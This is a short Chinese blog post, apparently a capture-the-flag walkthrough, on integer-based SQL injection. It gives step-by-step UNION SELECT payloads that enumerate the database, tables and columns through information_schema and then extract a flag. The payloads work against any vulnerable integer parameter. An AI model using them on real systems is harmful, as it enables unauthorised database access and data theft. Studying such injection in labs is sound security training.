首页 > 数据库技术 > 详细

sql整数型注入

时间:2020-03-07 00:08:30      阅读:133      评论:0      收藏:0      [点我收藏+]

1.检查是否存在注入

and 1=1 返回正确
and 1=2 返回错误

2.猜出字段数

order by x(数字)
得出字段数

3.然后就是爆数据库名,information_schema三步

?id=1 and 1=2 union select 1,database()

得到数据库名称sqli

4.爆表名

?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=‘sqli‘

得到表名 news,flag

5.爆字段名

?id=1 and 1=2 union select 1,group_concat(column_name) frominformation_schema.columns where table_name=‘flag‘

得到字段名flag

6.爆flag

                                                                        字段名          数据库.表名
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

得到flag{hdjaldanklfk2r3rb23ry34gf82huh2u9f}


sql整数型注入

原文:https://www.cnblogs.com/threesoil/p/12431496.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!